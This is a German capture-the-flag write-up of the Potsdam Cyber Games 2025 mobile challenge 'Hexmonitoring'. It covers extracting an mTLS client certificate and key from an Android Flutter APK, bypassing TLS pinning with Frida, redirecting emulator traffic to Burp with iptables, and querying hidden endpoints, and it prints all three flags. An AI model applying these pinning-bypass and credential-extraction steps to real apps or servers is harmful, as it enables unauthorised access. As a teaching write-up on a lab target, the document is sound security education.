Event: Potsdam Cyber Games 2025 · Kategorie: Mobile · Challenge: Hexmonitoring · Flags: 3 · Gesamtergebnis: 1. Platz Schüler-Kategorie

Was ist PCG? #

Die Potsdam Cyber Games sind ein vom Hasso-Plattner-Institut veranstalteter CTF. 2025 war die dritte Edition (1. — 29. April), Motto “Unmask the Underground!” — zweiköpfige Teams infiltrieren eine fiktive Hacker-Organisation namens Hexswarm.

TL;DR #

  1. APK auspacken → Client-Cert + Key liegen unverschlüsselt in flutter_assets/
  2. Mit dem Cert direkt gegen den mTLS-Endpoint → Flag #1
  3. Frida-Script kippt Flutters TLS-Verifikation, IPTables leitet Traffic auf Burp um
  4. Burp zeigt zwei zusätzliche, base64-kodierte Endpoints → Flag #2 (über HTTP, ungeschützt) und Flag #3 (zweiter mTLS-Pfad)

Material #

Ausgeliefert wurde nur die APK plus eine IP. Der Domain-Name monitoring.hexswarm.com ergibt sich aus dem Server-Cert.

$ ls
monitoring-arm64-v8a.apk

Static Analysis #

$ apktool d monitoring-arm64-v8a.apk

Ein Blick ins AndroidManifest.xml bestätigt: native Flutter-App, einzige relevante Permission ist INTERNET.

package="de.hpi.pcg.mobile.monitoring"
<uses-permission android:name="android.permission.INTERNET"/>
<activity android:name="de.hpi.pcg.mobile.monitoring.MainActivity" .../>

Die eigentliche Logik steckt in lib/arm64-v8a/libapp.so (kompilierter Dart-Snapshot). Strings-Dump zeigt überraschend wenig Verwertbares — außer zwei Zeilen, die alles entscheiden:

$ strings -n 5 lib/arm64-v8a/libapp.so | grep -E "\.pem|\.txt|Monitoring"
assets/client-crt.pem
assets/client-key.pem
flag.txt
Monitoring

Die App bringt also ihren eigenen Client-Cert mit. Das ist eine klassische Schwäche bei mTLS auf mobilen Clients: solange die App den Schlüssel kennen muss, kennt ihn am Ende auch jeder, der die APK in die Hand bekommt.

$ find . -name "*.pem"
./monitoring-arm64-v8a/assets/flutter_assets/assets/client-crt.pem
./monitoring-arm64-v8a/assets/flutter_assets/assets/client-key.pem

$ mv ./monitoring-arm64-v8a/assets/flutter_assets/assets/client-{crt,key}.pem .

Recon #

$ CHALLENGE_IP=10.72.5.196
$ nmap --top-ports 100 $CHALLENGE_IP -T4
PORT     STATE SERVICE
8080/tcp open  http-proxy
8443/tcp open  https-alt

Das Server-Cert auf 8443 zeigt CN=monitoring.hexswarm.com. Da das im DNS nicht auflöst, fake ich den Namen lokal mit --resolve.

Flag #1 — direkter mTLS-Request #

Nichts Spektakuläres: extrahiertes Cert + Key gegen /flag.txt.

$ curl -k --cert client-crt.pem --key client-key.pem \
       --resolve "monitoring.hexswarm.com:8443:${CHALLENGE_IP}" \
       https://monitoring.hexswarm.com:8443/flag.txt
flag #1
PCG{c3rts_4nd_cl13nts::kThUuPFKAPdw}

Zwischenstand: lokales mTLS-Lab #

Bevor ich am echten Server weitergearbeitet habe, habe ich das Setup lokal nachgebaut: eigene CA per openssl, Server-/Client-Pair und ein kurzer Node-Server, der requestCert und rejectUnauthorized einzeln umschaltet. Das Ziel: Fehlerbilder eindeutig zuordnen können. Ein abgewiesener TLS-Handshake ohne Client-Cert sieht anders aus als ein HTTP 401 nach erfolgreicher Cert-Validierung — mit dem Lab sind beide Zustände in zwei Minuten reproduzierbar, statt am Live-Server raten zu müssen.

Flag #2 + #3 — Hidden Endpoints #

flag.txt war zu offensichtlich, also: was ruft die App noch auf? Plan: Traffic durch Burp leiten und mitlesen. Das Problem: Flutter macht kein System-Proxy-Setting mit, und Flutter pinnt TLS über das gebündelte BoringSSL. Standard-Proxy-Setup reicht also nicht — ich brauche zwei Tricks:

  1. IPTables, um den Traffic transparent auf Burp umzubiegen (App glaubt, sie spreche mit dem Server)
  2. Frida-Script, das Flutters TLS-Verifikation aushebelt, damit das gefälschte Burp-Cert akzeptiert wird

Burp vorbereiten #

# Client-Cert für Burp ins PKCS#12-Format
$ openssl pkcs12 -export \
    -out client-crt.p12 \
    -inkey client-key.pem \
    -in client-crt.pem \
    -certfile client-crt.pem

In Burp:

Proxy Settings -> Network -> TLS
  -> Add Client TLS Certificate (client-crt.p12 importieren)

Proxy Settings -> Tools -> Proxy -> Proxy Listeners -> Edit
  Port 8080, Bind to: All interfaces
  Request handling -> Support invisible proxying: ON

Invisible proxying ist hier essentiell: weil der Traffic über IPTables umgeleitet wird, kommen die Requests ohne Host:-Header in Proxy-Form an.

Emulator + Frida #

App in Android Studio per Profile or Debug APK öffnen, dann Frida im Emulator hochziehen. Anschließend das fertige NVISO-Script gegen die Flutter-Pinning-Logik:

$ git clone https://github.com/NVISOsecurity/disable-flutter-tls-verification.git
$ cd disable-flutter-tls-verification
$ frida -U -f de.hpi.pcg.mobile.monitoring -l disable-flutter-tls.js

IPTables-Redirect im Emulator #

$ adb root && adb shell
# 8443 (HTTPS) -> Burp 8080
$ iptables -t nat -A OUTPUT     -p tcp --dport 8443  -j DNAT --to-destination <burp-ip>:8080
# 8080 (HTTP)  -> Burp 8080
$ iptables -t nat -A OUTPUT     -p tcp --dport 8080  -j DNAT --to-destination <burp-ip>:8080
# Source-NAT, damit der Rückweg passt
$ iptables -t nat -A POSTROUTING -p tcp -d <burp-ip> --dport 8080 -j MASQUERADE

Was Burp zeigt #

App neu starten — im Burp-History laufen drei Requests durch:

http://${CHALLENGE_IP}:8080/aHR0cHM6Ly93d3cueW91dHViZS5jb20vd2F0Y2g_dj1kUXc0dzlXZ1hjUQ.txt
https://${CHALLENGE_IP}:8443/flag.txt
https://${CHALLENGE_IP}:8443/aHR0cHM6Ly93d3cueW91dHViZS5jb20vd2F0Y2g_dj02bHlvVWU3Q0VZcw.txt

Die Pfade sind base64-kodierte YouTube-URLs — witzig (eine davon ist tatsächlich ein Rickroll). Interessanter ist die Verteilung:

EndpointPortmTLS?
/flag.txt8443Ja — Flag #1
/aHR…XcQ.txt8080Nein — HTTP, keine Auth
/aHR…YYs.txt8443Ja

Flag #2 — über HTTP, ohne Auth #

$ curl http://${CHALLENGE_IP}:8080/aHR0cHM6Ly93d3cueW91dHViZS5jb20vd2F0Y2g_dj1kUXc0dzlXZ1hjUQ.txt
flag #2
PCG{h1dd3n_1n_pl41n_s1ght::M1fbkGWpuUim}

Der Flag-Name sagt’s: ein offener HTTP-Endpoint neben dem mTLS-Server — gut versteckt, weil niemand ihn vermutet, solange er den Pfad nicht kennt.

Flag #3 — zweiter mTLS-Pfad #

$ curl -k --cert client-crt.pem --key client-key.pem \
       --resolve "monitoring.hexswarm.com:8443:${CHALLENGE_IP}" \
       https://monitoring.hexswarm.com:8443/aHR0cHM6Ly93d3cueW91dHViZS5jb20vd2F0Y2g_dj02bHlvVWU3Q0VZcw.txt
flag #3
PCG{p1nn1ng_p4tch1ng_w1nn1ng::T8kUoJthYat0}

Tools #